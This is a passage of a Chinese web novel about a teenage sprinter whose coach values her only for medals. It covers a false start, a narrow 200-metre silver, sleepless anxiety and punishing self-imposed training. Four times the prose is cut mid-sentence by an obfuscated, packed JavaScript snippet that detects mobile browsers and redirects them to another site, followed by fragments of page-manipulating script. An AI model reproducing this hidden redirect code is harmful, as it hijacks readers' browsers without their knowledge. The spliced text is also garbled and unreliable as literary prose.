《十秒人生 [短跑]》 2. 选拔 发令枪根本没有响,她抢跑了。 路银星转身,看向起跑线上纹丝未动的竞争对手,不得不承认这个残酷的现实。 从2010年开始,世界田联就严格执行起了零抢跑的规则。只要起跑反应时快于0.1秒,那么就会被直接红牌罚下,没有任何转寰的余地。 路银星毕竟是赛前的热门夺冠选手,现在被罚下相当于直接少了一个有竞争力的对手。 同场竞技的运动员们表情各异,有人惊诧,也有人在窃喜。 路银星怔怔地呆站在了跑道上,被“嗡嗡”的耳鸣声环绕。 直到裁判礼貌上前把她撵走,她才慢半拍地抬脚。 “您好,请您离开比赛场地。” “......好。” 黄教练已经冲到了赛场边,对着走下场的路银星劈头盖脸来了一顿质问。 “你刚怎么会犯这么低级的错误呢?如果只是压哨失误就算了,这哨子完全没响啊,你怎么就冲出去了?” “之前半决赛你的起跑就不太好,后面技术动作变形,你自己心里也有数。为什么明明上午还好好的,下午心态就炸成这样了?” 大概是突然想起明天还有一场200米的比赛,黄教练张了张嘴,硬生生把更多的质问咽了回去,换上了一副关心的模样。 “是不是还在担心之前的脚伤?如果你不放心,咱们今天就再让宋医生给你检查一下,为明天的200米确保万无一失。” 路银星看着不断输出的黄教练,恍惚走神的同时,一种莫名其妙的恐惧感油然而生。 如果说黄教练对自己的所有关心全然依托在自己能够为他带来现实收益的基础之上的话,那自己今日的溃败也许会让黄教练产生抛弃她的想法。 抛弃...... 这两个字让路银星不由打了个寒颤。 “好。”路银星深呼吸,心里对明日的200米比赛更多了一份紧张,“检查一下也好。” 黄教练悄然松了口气:“你就是心理压力太大了。在现在这个阶段遇到这种情况,从某种意义上来,也是件好事,都是锻炼的机会。” - 医务室。 宋医生又仔仔细细地给路银星之前崴到的脚腕做了细致的检查。 她推了推鼻梁上的无边框眼镜,对路银星和黄力笃定地说道:“之前韧带的轻微撕裂已经完全好了,正常强度的训练和比赛都没问题。” 黄教练转头看向路银星,劝说道:“你看,宋医生都再三确认过了,你这心理包袱是不是能放下来了?” 路银星确实有心理包袱,但她总不能对着黄教练说,不是因为旧伤,而是因为你的假意吧? “明天的200米,咱们在出发上可以更求稳一些,至少先有个成绩,后半段是有条件去追的。你的能力比其他选手来说,还是很有优势的。” 路银星点了点头,应下关心。 “我会努力的。” “好孩子!”黄教练拍了拍路银星的肩膀,鼓励道,“今天的事儿就别想太多了,先回宾馆休息吧。” “如果你有任何身体上不舒服的地方,可以随时来找我。”宋医生温柔地补充道。 “好。”路银星木讷地点头。 - 晚上,路银星躺在宾馆房间的大床上,翻来覆去睡不着觉。 她长叹了一口气,以平躺的姿势呆呆地望着天花板,复杂的情绪随着回忆汹涌而来,将她吞没。 路银星是在小学六年级的时候被黄教练选中的,彼时她十二岁。 正如黄教练所说的那样,她是福利院里没人领养的大龄女孩。加上瘦得和根竹竿似的,形象上也不太讨喜。 福利院说到底是无法盈利的福利机构,平时能给到孩子们的条件有限,到了十八岁后,没有收养家庭的孩子也需要寻找自力更生的法子。 路银星想通过考上大城市的大学来改变命运,但现实很快给了她沉重的一击。 福利院的学区很差。糟糕的地理位置、孱弱的师资力量,加上由留守儿童和孤儿组成的不上心的同学们,让她的梦想看起来遥不可及。 只要随手翻一翻她即将升入的初中的往年升学率,可预知的未来便朝她招手了。 路银星心里清楚地知道,如果一直待在这个不太发达的乡镇读书,她可能根本考不上大学。 但是想要从福利院离开,又谈何容易? 直到,距离这儿三、四百公里外的一所六年制私立学校,程远中学田径部的教练正到处选拔好苗子。 程远中学是这十年来新起的一所私立学校,里面有钱人的孩子不少,办学理念也是更偏向德智体美劳全面发展的素质教育的路子。 因此,在各类体育队伍的建设上,程远也是足够财大气粗,从师资到设施都是顶级不说,这几年还准备再给一些全额资助的特长生名额。 照理说,一般选拔是不会来到路银星所在的穷乡僻壤进行的。但奈何程远确实有钱,谁也无法拒绝公费旅行活动。 那次选拔的地点是在镇上最好的一所小学进行的,声势浩大。 福利院路院长打听到机会后,特意托熟人把路银星塞进了学校的操场上。 “短跑?我吗?”路银星歪着头问路院长。 路院长摸了摸路银星毛茸茸的脑袋,蹲下认真地对她说:“你不是平时总是喜欢去田里跑步吗?我觉得,你很适合这个机会。” 她确实喜欢在心情低落的时候,去张开双臂奔跑,去拥抱风和阳光,那让她能感到自由自在的畅快。 但是在田间地头跑步这么简单而不正式的活动,竟然也能成为值得大张旗鼓选拔的事儿吗? 路银星不解的同时,对自己也没太多自信。 “可我也没训练过,我真的可以吗?” “你知道我为什么给你取名银星吗?”路院长问道。 路银星摇摇头,她只知道自己是跟着院长妈妈姓路,名字也是路院长取的。 “刚出生没几个月的你被丢在垃圾桶边,差点儿死掉,却很顽强地没有,撑到了我找到你。” 路院长的声音温柔,但充满力量。 “李白有一首诗叫侠客行,里面有一句我很喜欢。银鞍照白马,飒沓如流星。” “当医生把你从鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426896|200876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门关救回来的时候,我一下就觉得这个名字,再适合你不过了。” 路银星似懂非懂地点点头,排在浩浩荡荡的队伍里做着各种测试。 测量完身高体重臂展腿长这些基础的信息后,当时的黄教练是这样评价她的。 “身高臂展腿长不错,但有点儿太瘦了。” 路银星接着又跟着其他小朋友参加了一场测试赛。 那是她短跑生涯的第一场正式比赛。 路银星蹬着一双有些开胶的旧帆布鞋,学着身旁人的起跑姿势,安静地站在了起跑线上。 当时的她,脑袋里的想法很简单纯粹。 她必须要努力冲刺,不辜负路院长的期待,抓住这个宝贵的机会,去到更广阔的天地。 哨声响起后,一整排的孩子们争先恐后地冲了出去。 操场的塑胶跑道比坑洼不平的田埂条件好太多,。 路银星和平时一样,只是步子迈得更大些,频率加得更快些。 她全凭本能在跑步,但整个过程异常顺利。 一百米的跑道之上,路银星渐渐超过了一个又一个同伴,最终以小组第一的身份冲过终点。 黄力掐了下秒表。 整组成绩都记录完成,黄力转头和另一位教练对了一下两人手记的成绩,不禁挑了下眉毛。 “最快的小姑娘平均跑了13秒48。”另一位教练一下注意到了路银星的成绩,“是比到现在最快的。” 这是手记的成绩,由裁判肉眼观察并按下秒表。国际大赛都是用的电记时设备,但乡村小学硬件条件有限。 通常来说,手记的成绩比电记快,因此差不多需要加上0.24秒,以此换算成电记成绩。 就算如此,13秒72,放在这个看起来瘦到有些营养不良的女孩身上,也是一个很惊艳的成绩了。 “确实挺快的,而且她身上可丝毫没有训练痕迹,说明很有天赋。”黄力若有所思地摸了摸下巴,“可以去找找她的资料。” 那时的路银星,根本没有想到这里,这一次跑步成为了她命运发生翻天覆地变化的起点。 - 这一晚路银星睡得很不踏实,凌乱的记忆像是梦魇,不断闯进她的脑海。 路银星一大清早是被惊醒的,额头冒出了细密的汗珠。 她掀开被子起身去洗漱,刷完牙抬头的时候,视线猛然和镜子里那对沉重的黑眼圈撞上。 路银星深呼吸,对着镜子里的自己默默说道:希望今天可别掉链子了。 参加比赛的所有选手都被安排在这个宾馆,因此早饭时间的餐厅难免会听到些八卦。 比如,背后那一桌两位短跑运动员的话题, “我还以为路银星是大魔王来着。结果昨天100米决赛直接抢跑被罚下了,这也太尴尬了。” “你说今天200米的比赛,她会不会继续发挥失常?其实我没什么远大志向,只想捡漏块牌子,谁叫今年这比赛竞争也太激烈了!” “谁知道呢!比赛心态这种事儿最玄乎了。” ...... 路银星这一顿早饭吃得心不在焉。 3. 银牌 J省青少年田径锦标赛,15-16岁组,女子200米半决赛,准时拉开帷幕。 上场前,黄教练看着路银星的黑眼圈,焦虑地在现场踱步。 “你昨晚没睡好?太紧张了吗?可是以前省级比赛,你都没有这样心态失衡过啊。” 黄教练不禁碎碎念起来。 “你等会儿比赛就放轻松,没必要太追求起跑反应时间。只要咱们能发挥出平时训练时候的水平,就足够用了。” 路银星沉默点头,一一应下。 经过一天多的时间调整,她现在的心理状态倒是没昨天那么糟糕了。 但要真正做到坦然面对黄教练,完完全全恢复到平时的心态,路银星也没办法做到。 比赛是推着人走的,从站在起跑线的那刻起,就没有回头路。 “各就位,预备——” 砰的枪声后,路银星慢半拍地出发了。 所有对手都在眼前的感觉,让她很不爽。 好在,这一组半决赛选手的水平都不是很高。 路银星在后半程奋起直追,终于还是超过了绝大多数的选手,以第二名晋级到了决赛。 她低着头扶着膝盖喘气,在心里不断地告诉自己,这个成绩是远远不够的,决赛她一定要跑得更快。 “半决赛追得不错,尤其是弯道技术动作保持得很好。不过......虽然我说起跑反应不用太在意,但刚才这个起跑有点儿太慢了。” 黄教练眉头展开又皱起。 “决赛精神要更集中些,确保不抢跑的前提下,尽可能在起跑这个环节不要落后太多。” “好。”路银星只是一味地答应。 黄教练的话就像一块大石头,始终压在心脏上。她只是渐渐习惯了石头,但是却不知道怎么把石头挪走。 但黄教练始终沉浸在自己的指导中,完全没意识到路银星这两天以来的异常。又或者说,他觉得那只是正常的大赛前的心理波动,让平时就不爱说话的路银星更加沉默寡言罢了。 两小时后,决赛开跑。 路银星难得在200米中拿到这么靠外的道次,这儿比较难以观察对手。 但路银星心里清楚地明白,这是她本次J省青少年田径锦标赛最后能证明自己的机会,证明她是值得被 压力在无形中一点点加码。 她干脆甩了甩手,拍打了好几下大腿,让身体强制开机,提升反应能力。 路银星看着眼前的赛道,脑海中把黄教练之前说过的技术要点重新温故知新了一回,手掌在下意识中拍打得更狠。 她的大腿霎时间红了一大片,但她却完全没有感觉到一般,面无表情地做着最后的拉伸。 黄力在观众席殷切地望着,心里跟着紧张起来,手攥紧紧的。 领队比黄力先一步嗅到了空气中不同寻常的气氛,旁敲侧击地问道:“我觉得路银星这次心理状态有点反常,结束了比赛,你要不找个机会好好和她谈谈心。如果有什么心结,还是及时解开比较好。” “十几岁的小朋友能有什么心结?我从来就不信他们抑郁之类的话。”黄力不以为意地摆摆手,“路银星她就是大赛历练得太少,心理素质还是太差,得靠自己去调节啊。” “也不完全是这样。”领队欲言又止,最后还是抿了抿嘴,“算了,看看路银星的发挥吧。” 这一次,路银星的专注度比之前高了不少,起跑反应更快了。 黄力的嘴角不禁勾起,一脸笃定道:“之前她就是大赛经验不足导致的,这次反应就正常了。” 一出发,路银星便打起了十二分精神,拼命迈着双腿、摆动双臂。 但不知道是不是太想要发挥出水平,太想拿到这枚宝贵的金牌,路银星在弯道上的倾斜角度出现了微妙的不平衡。 其他人可能看不出来,但作为对路银星十分了解的黄力教练,还是察觉到了不对劲。 他看得着急,直拍大腿。 “哎哎哎!半决赛不是还好好的吗?怎么决赛在弯道上却掉链子?” 但跑道上的路银星本人,此时是很难发现这些微小的差别的。 她的全部精神都被汇集在了想赢这个念头上,以至于动作的细节被悄然地忽略了。 冲出弯道后,路银星的胜负欲更是燃烧得热烈。 尤其是她的视野里猛然出现了另一名选手的背影的时候,她脑海里警铃大作。 毫秒之间,路银星的身体不自觉僵硬了一下。 没有绝对优势的情况下,任何的失误都会对结果造成决定性的影响。 后一百米的直道过了三分之一,路银星还是和第一名有着一个身位的差距。 不!现在还不是轻言放弃的时候! 路银星紧紧咬着后槽牙,克服着腿部堆积如山的乳酸带来的疲惫,继续奋力加速。 这是她这趟省锦标赛最后能证明自己的机会了。 现在,还剩下十米...... 呼吸,迈腿,摆臂。 路银星此刻的身体其实已经不太听大脑的指挥,单纯是靠肌肉记忆和意志力在撑着拼命。 强烈胜负欲驱动下的本能力量,让路银星逐渐和第一名追平。 最后五米,两人不相上下。 紧接着,她们同时冲过了终点线,差距微小到肉眼几乎难以分辨。 终点线后,路银星呼呼喘着粗气,心跳因为剧烈运动和等待的紧张,砰砰响得几乎要跳出胸膛。 “谁赢了?”领队好奇地问黄力。 黄力浑身肌肉紧绷,摇了摇头,低沉着声音道:“还不知道,需要等电子计时器的结果。” “这个曹心怡是隔壁N市第一中学的吧?他们什么时候也开始搞体育了?” 曹心怡便是和路银星同时过线的女生,她现在站在路银星身旁不远处,目不转睛地盯着屏幕,同样焦急地等待着结果。 “我听说是上一年引进了一个前国家田径队的做教练,也去选了些苗子,这不就跑出来了么。”黄力道。 “前国家队的?”领队一下想到了程远中学里的那位,撇撇嘴,“我们这儿不是也有尊大佛吗?可惜,进来光想着养老了。” “你说林风?她是挺佛系的,也就带带体育课。” 黄力的心态和领队可不同,他甚至希望林风能更佛一点儿。 “不管事儿也挺好,我本来还担心和我抢人或者说要改训练方案呢!现在这样,田径队的奖金基本都能归我的选手,她也不累着,皆大欢喜啊。” 谈话间,大屏幕上关于女子15-16岁组200米的最终成绩终于揭晓。 第一名曹心怡 25秒62 第二名路银星 25秒64 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426897|200876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到成绩的瞬间,路银星感觉浑身的血液一下凉透了。 她输了......输了微乎其微的0.02秒。 差一点点,就真的只差一点点她就能拿到这块金牌的。 路银星挫败地垂下了头,她不知道该怎么面对黄教练。 “你跑得很快。”一道清亮的女声打断了她烦乱的思绪。 “什么?”路银星抬起头,发现是曹心怡,那个拿第一的选手。 “我是说你特别厉害!!”曹心怡的一双眸子亮晶晶的,讲话摇头晃脑的,“你这两年来包揽了100米和200米的冠军,我能从你的手里抢下来这块金牌,运气真是太好了!” 曹心怡这句话其实是想表达自己对路银星实力的肯定和崇拜。但在已经走到思想死胡同的路银星的耳朵里,这话就莫名变了点儿味道。 你看,她就是被抛弃的那个人,连幸运女神都不站在自己这头。 路银星在心里苦笑,勉强挤出一个笑脸道:“恭喜。” “谢谢!”曹心怡笑脸盈盈,欢快地大步流星地跑去找教练了。 路银星远远地看着曹心怡和教练激情相拥的美好和谐画面,心里不禁泛起酸意。 她这个失败者,配不上这么幸福的结局。 “没事儿,就是差了点运气。你200米的发挥还不错,主要是弯道技术之前说的倾斜角度的问题,又没太注意到。” 黄教练看起来没生气,也没说狠话,只是碎碎念地分析着刚才决赛的具体情况。 “下次咱们再努力拿金牌。”黄教练拍拍路银星的肩头。 “好。”路银星舒了口气。 还好,自己没被现在就被抛弃。 她在心里暗暗发誓,回去之后一定要加倍训练,证明自己存在的价值。 - 路银星带着一枚银牌结束了她本次J省青少年田径锦标赛之旅。 程远中学对金牌和银牌的奖励差距很大,黄教练的奖金因此大大缩水。 办公室里,黄力看着工资卡最新入账提醒,叹了口气。 “唉,少了一万呢。我本来说想要给家里换个音质好的大牌音响来着,现在估计是还得再等等了。” 男子篮球队教练啧啧两声,插话道:“黄力你可别再凡尔赛了啊,我们办公室每次就你奖金赚得最多!你们也知道,我这篮球队的可都是来为了出国来混个体育经验的少爷们,惹不起啊惹不起。” “就是!你这儿成绩好,经费也足。我看主任又同意你去初中部搞一次选拔了,梯队建设都有着落了呀。”接话的是另一位带足球队的教练。 “哎呀!希望这次初中部能有好苗子吧!”黄力抿了口茶,“路银星努力是挺努力的,但就是这心理素质还是不太行。” “小朋友么,都需要多给锻炼的机会。” 办公室里,大家有一句没一句地聊着天,气氛热烈。 只有坐在角落工位的林风全程没参与话题。 她的工位很富有生活气息,沿着窗台摆着很多盆绿植。它们不修边幅地沐浴在阳光下,长得肆意而繁茂。 办公桌的边上摞了好几堆书,围着林风的工位,像是筑起了一道小小的围墙。 林风本人正躺在她那张沙发椅上,沐浴着窗外的阳光小憩,脸上盖着一本看到一半的小说。 悠闲、自在又惬意。 4. 疯子 五点,闹钟准时响起。 但只响了一声,路银星就快速摁掉了手机。她噌的一下,直挺挺从床上坐起身。 实际上,她在凌晨四点五十的时候就被噩梦惊醒了。 路银星梦到自己因为没有拿到冠军,黄教练冷漠地说程远中学不能再给她提供奖学金,她被送回了福利院,再次变成了没人要的孩子。 那种被抛弃的恐慌像梦魇一般缠着路银星,让她这一个月来的睡眠质量都大大降低,三番五次半夜惊醒。 路银星蹑手蹑脚地下了床,打开水龙头,用冷冰冰的自来水拍在脸上,给烦躁的心情降降温。 接着,她便悄然从宿舍离开了去操场了。 这是她每天雷打不动的早训时间。只是之前路银星是在五点半起床。而在经历了省赛的失败后,她将这个时间又往前提了半个小时。 现在不是赛前集训期,早上五点的操场空空荡荡的。 路银星独自在鲜红的跑道上慢跑,一圈又一圈,让身体逐渐活跃起来。 一般来说,慢跑半个小时后,她就会进行一些拉伸,在六点半去到食堂吃早饭。 但今天,她跑了十几圈也还没停下。 路银星的脑袋里乱糟糟的,各种复杂的情绪窜来窜去,怎么跑都甩不掉。 今天下午将会举行一周一次的队内测试赛。虽然路银星在队内没有遇到过任何对手,但她已经连续三个礼拜没有跑进13秒内了。 最让路银星心烦意乱的是,她这一个月来的100米持续在13秒10徘徊,以至于最佳成绩竟然停留在之前省赛半决赛的13秒01。 这还是在教练手记成绩的情况下,也就是说,她实际成绩可能只有13秒30左右。 这个成绩对于U16女子100米运动员来说,是完全不够看的。 从福利院离开后,路银星还没有经历过如此低迷不振的时期, 因此,路银星最近很挫败,并试图用加倍的训练让自己重回正轨。 汗水从额头滴落,时钟滴答悄然来到了六点一刻。 路银星终于缓缓停下来了,但她并没有去做结束训练前的拉伸,而是走到了一百米的起点线。 不知道该怎么办的时候,路银星喜欢用跑步麻痹自己。 在福利院的时候,她喜欢会去田间奔跑,现在来到程远中学,她也喜欢在操场上冲刺。 路银星从起点线出发,在一百米的直道上用尽她所能的最快速度迎着风冲刺,挺着胸膛冲过终点。 她慢慢走回起点,几乎没有任何休息,便再次从起点飞奔而出,向终点冲去。 一百米的跑道上,路银星就这么冲刺过去又走回来,再冲刺过去,再走回来。 循环往复,直到身体发出警报,路银星才不得不停下脚步。 连续高强度的百米冲刺让她的心率飙得飞快,整张脸红彤彤的,汗如雨下,T恤都被浸透了。 路银星在跑道上扶着膝盖,低着头拼命张大嘴喘着粗气,表情狰狞。 不远处,穿着运动套装的林风正一边看小说一边朝办公室走去。 余光扫到操场的时候,林风不自觉停下了脚步。 她瞥了一眼路银星,摇摇头道:“真是个小疯子。” 被称为小疯子的路银星没有忘记最后的拉伸,在操场上放松着因乳酸堆积而酸痛的身体。 因为今天加训了太多,路银星到达食堂的时候,已经是七点十五,距离早自习开始只剩下十五分钟,档口里不剩下什么早点了。 路银星也不挑。一碗白粥、一个咸鸭蛋,再加上两个肉包子,她狼吞虎咽地就吃完了。 程远中学要求所有特长生参与正常的学习,早上到下午三点的课程都需要参加,之后才是每个队的训练时间。 据说,这是程远中学投资人的要求,希望就算是特长生,也能好好地享受学校优质的师资和各类资源,尽可能有更多的选择和机会。 路银星起得太早,一上课就开始犯困打瞌睡,头一点一点的,进入了一种半梦半醒的状态。 但完全不听课也是不行的,毕竟每天路银星还要完成各科作业,还要去参加各种月考期末考,甚至是不远将来的高考。 想到这儿,路银星就不禁打了个寒颤,醒过来继续听课做笔记。 - 下午三点,田径队准时开始训练。 路银星沉默地站在队伍里,按部就班地做着慢跑热身,又高质量地交替完成了好几组小步跑、高抬腿和后踢跑。 黄教练看着队员们各异的动作,不禁在一旁操心又唠叨起来。 “小汪,你不许偷懒!还有一组,我看着呢!” “动作怎么做一半就算是全做了?吴同学,你这个高抬腿要抬高呀!” “快点儿快点儿,你是在训练还是在散步?” 指点完一圈,末了,黄力的视线落在了路银星的身上。 “果然,还是你最让我省心。” 黄力吹了下哨子,说道:“休息一会儿,等会儿咱们进行起跑专项训练,然后是组合跑,最后再做测试。” 队员们散漫地道了声好,三五成群地聊起天来。 大概是黄教练刚才又夸了路银星,有些人便对此颇有微词。 “训练认真有什么用?最近的成绩还不是一路倒退。” “你小声点儿,她在旁边呢。” “在又如何?反正她从来不会和我们说什么话,孤僻得很。” 如这人所说的一样,路银星听到流言蜚语也没什么反应,只是继续自顾自地多做了一组高抬腿和后踢跑。 她害怕的始终是抛弃,其他人的闲言碎语,她并不在意。 更何况,从一定程度上,路银星觉得那人说得没错,她最近的成绩确实越来越差。她必须要通过加倍的努力向黄教练证明,她是值得被留下的人。 先进行的是蹲踞式起跑专项的训练,除了常规的蹬摆衔接和重心前移的提升,黄力还安排了不同信号起跑的环节。 “等会儿我在喊完各就位预备之后,会间隔不同时间再喊跑,大家和之前一样,跑出去二三米即可。” 黄力眼神严肃地一一扫过队员们。 “各位一定给我集中注意力。抢跑或者反应太慢的,等会儿都要罚做一圈蛙跳。” 这样的训练主要是为了防止大家养成猜枪的不良习惯,之后到了大赛上不适应,反而会抢跑或者反应慢半拍。 对于别人来说,这个训练可能没什么特别的。但路银星刚刚经历了省赛100米决赛的抢跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426898|200876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风波,神经总是更敏感的。 她在心里默默给自己鼓劲儿,希望别再犯抢跑这种低级错误。 “各就位,预备——” 黄教练在说完预备之后,就陷入了沉默。 三秒、四秒、五秒,毫无动静。 度秒如年说的大概就是路银星现在的心态。 终于,在路银星心里默念到七的时候,黄教练的“跑”字出了口。 等待结束,路银星飞奔而出。 大家反应基本都很及时,黄力满意地点了点头,让大家重新回到起跑线。 第二次发令的间隔也不短,大约过了五秒,跑字才说出口。 紧接着的第三次,就在大家以为还要等很久才能跑的时候,黄教练又出其不意地,仅仅间隔两秒就发了令。 有一些自以为找到了规律的人,一下被喊了个措手不及,起跑反应显然慢了不少,蹬摆衔接的技术动作也跟着出现了问题。 黄力看得头疼地扶额:“能不能认真听!慢了的点儿自觉点去蛙跳。” 路银星因为紧绷的神经逃过一劫。 黄教练又进行了五六次不同秒数间隔的起跑发令,路银星高度紧绷的神经就这么经历着痛苦的折磨后,小心翼翼地避免犯错。 黄教练:“还有最后一次,希望大家都能顺利过关。” 路银星在起点线上做着深呼吸,不断地在心里给自己上紧发条。 等下可不容有任何失误! 可皮筋紧绷到一定程度,再拉它的时候,就会断掉。这是一个通俗易懂的道理。 路银星脑海中的那根皮筋,在经历了省赛抢跑、200米摘银,以及这一个月以来的糟糕成绩的拉扯下,早已到了濒临断裂的程度。 而黄教练今天的不同信号起跑训练,便成了压在路银星神经上的最后一根稻草。 “预备——”之后,路银星胸口莫名升起一阵烦躁。 她控住不住思绪纷飞,想起省赛抢跑,又想起自己最近的颓靡,更有一瞬间回忆起从福利院离开的那次选拔。 “跑!” 以至于黄教练的口令响起,路银星还在神游。 当其他队友冲出起跑线,她才姗姗意识到自己也该出发了。 这次倒没有抢跑,但这小差开得有些太离谱了。 “路银星你......” 黄教练大概是没想到这么低级的错误也能发生,一时之间竟不知道说什么好。 “抱歉,我刚走神了,我现在就去蛙跳。”路银星直接认错,用极其标准的蛙跳姿势,沿着跑道行进。 “好。”黄教练叹了口气,然后点名了其他几位在起跑中出现问题的队员,“你们愣着干嘛?一起啊!” 在一行蛙跳的队员中,路银星的动作是最标准的,每一个跳都完成得一丝不苟。 好不容易跳完一圈之后,很多人都瘫倒在了操场上。 “行,大家休息一会儿。”黄教练道。 可路银星却没有停下,她默默地继续着蛙跳。 黄教练诧异地看着路银星,张了张嘴,还是没阻止她。 刚结束完一圈蛙跳的同学嘴角抽搐地看着路银星。“她疯了吧?” 另一个人耸耸肩:“她不是一向这么疯么?” 5. 林风 路银星又闷头完成了一圈蛙跳,这才喘着气坐到一旁休息片刻。 之后的组合跑对于路银星没什么难度。除了偶尔在听起跑的时候会身体僵硬一下,她如往常一样游刃有余地完成了所有项目。 最让路银星紧张的,还是最后的每周例行测试。 毕竟在连续没有跑进13秒内的阴影笼罩下,路银星的心理压力逐渐增加。更别提一小时前,她心里那根紧绷的弦已然断过一回。 但也是因为那根紧绷的心弦断过,积攒的紧张和焦虑以某种方式被释放出不少,路银星反倒生出了更汹涌澎湃的斗志。 黄教练拿着计时器和记分板,对队员们说道:“分两组跑,我叫到名字的先来。” “路银星,来第一道。” 黄教练是按照上次测试的成绩顺序叫名字的,路银星是第一个。 只是站在起跑线上,路银星的心跳就不自主地一路加速狂飙。 她将手放在胸口,感受着心脏咚咚的有力跳动。 路银星太想跑进13秒了。那种被抑制了太久的渴望让她浑身的肌肉都被调动了起来,跃跃欲试地想要再证明自己一次。 “各就位,预备——” 黄教练开口,路银星立即抬起臀部将重心前移,抬起头,用灼灼的目光盯着百米之外的终点。 她,准备好了。 “嘟——”黄力吹响哨子。 路银星立刻如离弦之箭一般飞奔而出。 这一次的出发很顺利,反应迅速,蹬摆衔接得很顺畅。启动后的步伐也很协调,中段的速度起来后一直保持得很好。 百米过半有余,路银星的前方只有旷阔的跑道和近在眼前的终点线。 她急促地深吸一口气,开始拼了命地向前,做着最后的冲刺。 还有十米、九米、八米...... 路银星的脑袋里只有冲刺、再冲刺。 终于,当身体冲过终点线的那刻,她才一下将身体攒着的劲儿慢慢释放出来。 “黄教练,时间是多少?”路银星气还没匀顺,就迫不及待地朝黄力问道。 黄教练将所有人的计时一一完成,脸上带着笑意,欣慰地对路银星说道:“12秒63,这次跑得不错!” 路银星的眼睛一下亮了起来。 成功了! 她跑进了13秒了!! 哪怕是加上手记成绩通常多出的0.2秒,她仍然达成了自己的目标! 这成绩才是她平常正常的发挥。虽然比起巅峰期的12秒刚出头的成绩还是有点儿距离,但好歹终于有起色了。 路银星深深地舒了一口气。 果然,自己之前的加训都是有用的。只要不断付出比别人两倍三倍的努力,总会有可能找到回到最佳状态的办法的。 两组队员都比完后,黄教练再次来到路银星身边,语重心长地拍了拍她的肩膀。 “我之前还担心你会一蹶不振,看到你听起跑走神的时候更是为你捏把汗。好在你现在自己重新找到状态,咱们之后再接再厉,争取把失去的冠军再夺回来。”黄力碎碎念着。 路银星一直提着的心在此刻也总算放下了。 你看,只要自己的成绩提高,黄教练就会重新肯定自己的价值。 哪怕黄力看中的是自己能够带来的奖金和利益又如何?只要能够让他断了放弃自己的念头,那就足够了。 路银星承认,她跑步的动机不单纯,甚至有些功利。 但跑步确确实实帮自己走出了福利院,走到了这个光怪陆离的大城市,获得了人生更多的可能性。 所以,她会把跑步这件事儿当作奋斗的目标,跑出成绩给所有人看,并且,为之付出百分之两百的努力。 路银星抬头道:“黄教练,我能借一下秒表吗?我想等会儿自己再练习一会儿,结束了我就放回办公室。” 黄教练愣了一下,便点头将秒表递给了路银星。 “行,但你注意点儿,也别太拼了。” “好。”路银星应下,抬头看了眼逐渐变成绯红色的天空。 九月的日落来得比夏季更早些。 结束训练的时间已经是六点半,借着夕阳余晖,她大概还能再跑半小时。 路银星一边在心中盘算着等会儿的加训计划,一边简单放松了下三个小时训练而略显酸痛的肌肉。 没什么多余的时间给她浪费了。 路银星走到起跑线上,手里紧紧攥着秒表,眼神里闪烁着燃烧的小火苗。 她自己给自己掐秒表,站立式起跑时开始计时,奔跑至终点的时候再结束计时。 虽然有些麻烦也存在一定的误差,但能对自己的练习有更多了解,算是好处。 因为刚刚恢复13秒内的成绩,路银星的劲头很足。 她一连跑了五六趟,每趟之间休息时间不过几分钟。 虽然这强度很高,让路银星身体疲惫不堪,但看着秒表上稳定12秒60左右的成绩,她便无视了身体的警告。 太阳已经完全没入地平线以下,天空从燃烧的橘红色渐渐冷静下来,变成了深邃的蓝调。 路银星又拼尽全力跑了一趟,终于是累得连站起来的力气都没了。 她干脆一下躺在了跑道上,胸口起伏呼吸,风拂过身体。 路银星平静地看着天空的蓝调逐渐浓重。 她发现自己好像从来没这么看过天空。原来,蓝色也是有不同层次的。 突然,一道女声打破了操场的寂静。 “同学,太阳都跑累了,我也要下班了。” 路银星看了眼对方的打扮和样貌,不太转的脑袋运转了好一会儿,才想起这位是体育组的林老师。 林老师不带任何的队伍,平时也神出鬼没通常看不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426899|200876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,因此路银星对她没什么印象。 “我等会儿就回去。”路银星说着,身体却还是躺在操场上没动弹。 